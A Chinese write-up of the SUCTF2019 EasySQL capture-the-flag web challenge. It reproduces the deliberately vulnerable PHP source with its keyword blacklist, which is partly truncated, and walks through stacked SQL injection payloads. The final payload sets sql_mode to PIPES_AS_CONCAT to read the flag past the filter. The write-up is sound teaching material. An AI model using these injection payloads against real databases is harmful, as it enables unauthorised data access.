欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

SUCTF2019-EasySQL

程序员文章站 2022-05-07 21:46:45
...

题目

SUCTF2019-EasySQL

writeup

尝试输入:1

SUCTF2019-EasySQL

SUCTF2019-EasySQL

尝试众多后发现有三种返回值:

  • 正常回显
  • nonono
  • 空白

考虑到前面做过的题,堆叠注入

上网查看各位大佬的文章,找到了源码:

<?php
    session_start();

    include_once "config.php";

    $post = array();
    $get = array();
    global $MysqlLink;

    //GetPara();
    $MysqlLink = mysqli_connect("localhost",$datauser,$datapass);
    if(!$MysqlLink){
        die("Mysql Connect Error!");
    }
    $selectDB = mysqli_select_db($MysqlLink,$dataName);
    if(!$selectDB){
        die("Choose Database Error!");
    }

    foreach ($_POST as $k=>$v){
        if(!empty($v)&&is_string($v)){
            $post[$k] = trim(addslashes($v));
        }
    }
    foreach ($_GET as $k=>$v){
        }
    }
    //die();
    ?>

<html>
<head>
</head>

<body>

<a> Give me your flag, I will tell you if the flag is right. </ a>
<form action="" method="post">
<input type="text" name="query">
<input type="submit">
</form>
</body>
</html>

<?php

    if(isset($post['query'])){
        $BlackList = "prepare|flag|unhex|xml|drop|create|insert|like|regexp|outfile|readfile|where|from|union|update|delete|if|sleep|extractvalue|updatexml|or|and|&|\"";
        //var_dump(preg_match("/{$BlackList}/is",$post['query']));
        if(preg_match("/{$BlackList}/is",$post['query'])){
            //echo $post['query'];
            die("Nonono.");
        }
        if(strlen($post['query'])>40){
            die("Too long.");
        }
        $sql = "select ".$post['query']."||flag from Flag";
        mysqli_multi_query($MysqlLink,$sql);
        do{
            if($res = mysqli_store_result($MysqlLink)){
                while($row = mysqli_fetch_row($res)){
                    print_r($row);
                }
            }
        }while(@mysqli_next_result($MysqlLink));

    }

    ?>

看到mysql_multi_query(),可以堆叠注入

发现黑名单:

if(isset($post['query'])){
        $BlackList = "prepare|flag|unhex|xml|drop|create|insert|like|regexp|outfile|readfile|where|from|union|update|delete|if|sleep|extractvalue|updatexml|or|and|&|\"";
        //var_dump(preg_match("/{$BlackList}/is",$post['query']));
        if(preg_match("/{$BlackList}/is",$post['query'])){
            //echo $post['query'];
            die("Nonono.");
        }

过滤了很多,尤其是flag。。。好气哦~

按照之前的尝试查询(随便注

1 ; show databases;

SUCTF2019-EasySQL

1 ; show tables;

SUCTF2019-EasySQL

但是过滤了flag。。。

查找资料发现管道拼接||

且源码中存在:

$sql = "select ".$post['query']."||flag from Flag";

对于mysql可以通过更改sql_mode=PIPES_AS_CONCAT来满足该功能

故,构造:

1;set sql_mode=PIPES_AS_CONCAT;select 1

SUCTF2019-EasySQL

得到flag~

知识点

mysql 修改sql_mode 实现字符串管道‘||’连接

在oracle 缺省支持 通过 ‘ || ’ 来实现字符串拼接,但在mysql 缺省不支持。需要调整mysql 的sql_mode 模式:pipes_as_concat 来实现oracle 的一些功能

https://blog.csdn.net/lixora/article/details/60572357

相关标签: CTF之Web

推荐阅读